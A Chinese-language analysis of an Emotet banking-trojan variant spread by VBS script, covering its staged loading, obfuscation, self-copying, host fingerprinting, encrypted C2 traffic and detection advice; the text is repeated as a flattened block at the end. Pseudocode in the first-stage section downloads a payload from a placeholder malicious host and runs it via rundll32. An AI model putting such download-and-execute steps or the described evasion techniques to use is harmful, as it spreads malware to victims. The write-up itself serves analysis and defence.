vbs脚本传播银行木马变体样本分析
字数 2076 2025-08-20 18:17:41

VBS脚本传播银行木马变体样本分析技术文档

1. 样本概述

本分析文档详细解析了一个通过VBS脚本传播的银行木马变体样本,该样本采用多阶段攻击方式,最终实现与C2服务器的加密通信。样本具有以下特点:

  • 使用高度混淆的VBS脚本作为初始攻击载体
  • 采用多阶段加载机制
  • 使用控制流平坦化等反分析技术
  • 实现ECDH密钥交换和AES加密通信
  • 具备持久化和信息收集能力

2. 第一阶段:VBS脚本分析

2.1 初始混淆结构

样本开始部分定义了三个变量,通过重新构造和组合后,最终生成关键值:

NbCTQqd = "wscrilqpt.exe //E:vbscript"

2.2 文件系统操作

脚本使用以下方法创建文件系统对象和临时文件:

Set fso = CreateObject("Scripting.FileSystemObject")
tempFilePath = "C:\Users\[User]\AppData\Local\Temp\tmp123454321pmt.txt"
Set file = fso.CreateTextFile(tempFilePath)

2.3 下载和执行机制

解混淆后可见脚本核心功能:

  1. 从指定URL下载payload
  2. 使用rundll32.exe执行下一阶段恶意软件
' 伪代码表示实际功能
Download "http://malicious-site.com/payloads"
Execute "rundll32.exe payload.dll,Control_RunDLL"

3. 第二阶段:Emotet DLL分析

3.1 文件基本信息

  • 32位DLL文件
  • 使用rundll32.exe加载,参数为Control_RunDLL
  • 入口点函数调用DllMain()

3.2 核心DLL加载机制

  1. 从资源中加载并解密32位DLL到内存
  2. 解密后的DLL称为"X.dll"(基于硬编码字符串命名)
  3. 可使用System Informer等工具进行内存转储

3.3 导出函数检查逻辑

if (strcmp(ExportFunctionName, "Control_RunDLL") != 0) {
    // 重新使用Control_RunDLL参数执行
    CreateProcessW("C:\\Windows\\syswow64\\rundll32.exe emotet.dll,Control_RunDLL");
    ExitProcess(0);
}

4. X.dll深度分析

4.1 控制流平坦化混淆

  • 主函数sub_1001FCD8(重命名为Flatten_func)使用控制流平坦化技术
  • 可使用IDAPython脚本在所有call指令处下断点进行分析:
import idautils
import idaapi
import idc

def add_breakpoints_on_calls(func_name):
    func_ea = idc.get_name_ea_simple(func_name)
    if func_ea == idc.BADADDR:
        print(f"Function {func_name} not found!")
        return
    
    func = idaapi.get_func(func_ea)
    if not func:
        print("Function not found!")
        return
    
    for head in idautils.Heads(func.start_ea, func.end_ea):
        if idc.print_insn_mnem(head) == "call":
            idc.add_bpt(head)
            print(f"Breakpoint added at 0x{head:x}")

add_breakpoints_on_calls("Flatten_func")

4.2 字符串和API混淆技术

  • 所有字符串在运行时解密
  • API动态加载,避免静态分析检测
  • 示例:解密"advapi32.dll"字符串后使用LoadLibraryW加载

4.3 路径检查和自复制

  1. 检查执行路径是否为%AppData%
  2. 若非AppData路径,执行以下操作:
    • 使用SHGetFolderPathW获取AppData路径
    • 使用GetCommandLineW检查参数
    • 使用CreateFileWGetFileInformationByHandleEx获取自身信息
    • 生成随机文件名
    • 使用SHFileOperationW复制文件
    • 使用DeleteFileW删除Zone标识符
  3. 使用CreateProcessW重新执行自身后退出

5. 持久化与信息收集

5.1 持久化机制

  1. 将x.dll复制到%appdata%随机命名的文件夹中
  2. 添加.xnj扩展名
  3. 再次使用rundll32执行

5.2 信息收集功能

收集的系统信息包括:

  • 计算机名 (GetComputerNameA)
  • Windows目录 (GetWindowsDirectoryW)
  • 卷信息 (GetVolumeInformationW)
  • 桌面名称和MAC地址哈希
  • 窗口路径

数据格式化为用分号分隔的字符串:

[计算机名];[Windows目录];[卷信息];[桌面名称哈希];[MAC地址];[窗口路径]

6. 加密通信机制

6.1 密钥生成

  1. 使用椭圆曲线密码学(ECDH):
    • 生成ECDH私钥
    • 使用嵌入的ECDH公钥
    • 通过BCryptSecretAgreement生成共享密钥
  2. 使用BCryptDeriveKey从共享密钥派生AES密钥

6.2 C2通信流程

  1. 数据准备:

    • 组合收集的系统信息
    • 使用派生的AES密钥加密数据
    • Base64编码加密结果
  2. 通信方式:

    • 使用WinINet API发送请求
    • 小数据使用GET请求,大数据使用POST请求
    • 数据在Cookie头中发送
    • URI随机生成
  3. Cookie头格式:

    Cookie: [随机密钥名]=[Base64编码值]
    

    Base64解码后包含:

    • 生成的ECDH公钥
    • AES加密的请求数据
    • 随机字节

7. 反分析技术总结

  1. 代码混淆

    • VBS脚本高度混淆
    • 控制流平坦化
    • 字符串加密
  2. 动态加载

    • 所有API动态解析
    • 使用哈希比较而非函数名
  3. 环境感知

    • 检查执行路径
    • 非预期环境自复制并重新执行
  4. 清理痕迹

    • 删除临时文件
    • 移除Zone标识符

8. 检测与缓解建议

8.1 检测指标

  1. 文件指标

    • %AppData%中随机命名的.xnj文件
    • 临时目录中的可疑文本文件
  2. 网络指标

    • Cookie中包含Base64编码的随机密钥
    • 非常规URI请求
  3. 行为指标

    • Rundll32异常调用模式
    • 大量文件系统操作后自删除

8.2 缓解措施

  1. 预防

    • 禁用不必要的脚本执行
    • 限制rundll32执行权限
  2. 检测

    • 监控异常进程创建链
    • 检测控制流平坦化模式
  3. 响应

    • 隔离受感染系统
    • 检查AppData中的可疑文件
    • 分析网络连接中的异常加密通信

9. 分析工具推荐

  1. 静态分析

    • IDA Pro(配合反混淆脚本)
    • DIE(Detect It Easy)
  2. 动态分析

    • System Informer(原Process Hacker)
    • Process Monitor
  3. 网络分析

    • Wireshark
    • Fiddler
  4. 内存分析

    • Volatility
    • Rekall
  5. 脚本工具

    • IDAPython(用于自动化分析)
    • PowerShell(用于行为监控)
VBS脚本传播银行木马变体样本分析技术文档 1. 样本概述 本分析文档详细解析了一个通过VBS脚本传播的银行木马变体样本,该样本采用多阶段攻击方式,最终实现与C2服务器的加密通信。样本具有以下特点: 使用高度混淆的VBS脚本作为初始攻击载体 采用多阶段加载机制 使用控制流平坦化等反分析技术 实现ECDH密钥交换和AES加密通信 具备持久化和信息收集能力 2. 第一阶段:VBS脚本分析 2.1 初始混淆结构 样本开始部分定义了三个变量,通过重新构造和组合后,最终生成关键值: 2.2 文件系统操作 脚本使用以下方法创建文件系统对象和临时文件: 2.3 下载和执行机制 解混淆后可见脚本核心功能: 从指定URL下载payload 使用 rundll32.exe 执行下一阶段恶意软件 3. 第二阶段:Emotet DLL分析 3.1 文件基本信息 32位DLL文件 使用rundll32.exe加载,参数为 Control_RunDLL 入口点函数调用 DllMain() 3.2 核心DLL加载机制 从资源中加载并解密32位DLL到内存 解密后的DLL称为"X.dll"(基于硬编码字符串命名) 可使用System Informer等工具进行内存转储 3.3 导出函数检查逻辑 4. X.dll深度分析 4.1 控制流平坦化混淆 主函数 sub_1001FCD8 (重命名为 Flatten_func )使用控制流平坦化技术 可使用IDAPython脚本在所有call指令处下断点进行分析: 4.2 字符串和API混淆技术 所有字符串在运行时解密 API动态加载,避免静态分析检测 示例:解密"advapi32.dll"字符串后使用 LoadLibraryW 加载 4.3 路径检查和自复制 检查执行路径是否为 %AppData% 若非AppData路径,执行以下操作: 使用 SHGetFolderPathW 获取AppData路径 使用 GetCommandLineW 检查参数 使用 CreateFileW 和 GetFileInformationByHandleEx 获取自身信息 生成随机文件名 使用 SHFileOperationW 复制文件 使用 DeleteFileW 删除Zone标识符 使用 CreateProcessW 重新执行自身后退出 5. 持久化与信息收集 5.1 持久化机制 将x.dll复制到 %appdata% 随机命名的文件夹中 添加.xnj扩展名 再次使用rundll32执行 5.2 信息收集功能 收集的系统信息包括: 计算机名 ( GetComputerNameA ) Windows目录 ( GetWindowsDirectoryW ) 卷信息 ( GetVolumeInformationW ) 桌面名称和MAC地址哈希 窗口路径 数据格式化为用分号分隔的字符串: 6. 加密通信机制 6.1 密钥生成 使用椭圆曲线密码学(ECDH): 生成ECDH私钥 使用嵌入的ECDH公钥 通过 BCryptSecretAgreement 生成共享密钥 使用 BCryptDeriveKey 从共享密钥派生AES密钥 6.2 C2通信流程 数据准备: 组合收集的系统信息 使用派生的AES密钥加密数据 Base64编码加密结果 通信方式: 使用WinINet API发送请求 小数据使用GET请求,大数据使用POST请求 数据在Cookie头中发送 URI随机生成 Cookie头格式: Base64解码后包含: 生成的ECDH公钥 AES加密的请求数据 随机字节 7. 反分析技术总结 代码混淆 : VBS脚本高度混淆 控制流平坦化 字符串加密 动态加载 : 所有API动态解析 使用哈希比较而非函数名 环境感知 : 检查执行路径 非预期环境自复制并重新执行 清理痕迹 : 删除临时文件 移除Zone标识符 8. 检测与缓解建议 8.1 检测指标 文件指标 : %AppData% 中随机命名的.xnj文件 临时目录中的可疑文本文件 网络指标 : Cookie中包含Base64编码的随机密钥 非常规URI请求 行为指标 : Rundll32异常调用模式 大量文件系统操作后自删除 8.2 缓解措施 预防 : 禁用不必要的脚本执行 限制rundll32执行权限 检测 : 监控异常进程创建链 检测控制流平坦化模式 响应 : 隔离受感染系统 检查AppData中的可疑文件 分析网络连接中的异常加密通信 9. 分析工具推荐 静态分析 : IDA Pro(配合反混淆脚本) DIE(Detect It Easy) 动态分析 : System Informer(原Process Hacker) Process Monitor 网络分析 : Wireshark Fiddler 内存分析 : Volatility Rekall 脚本工具 : IDAPython(用于自动化分析) PowerShell(用于行为监控)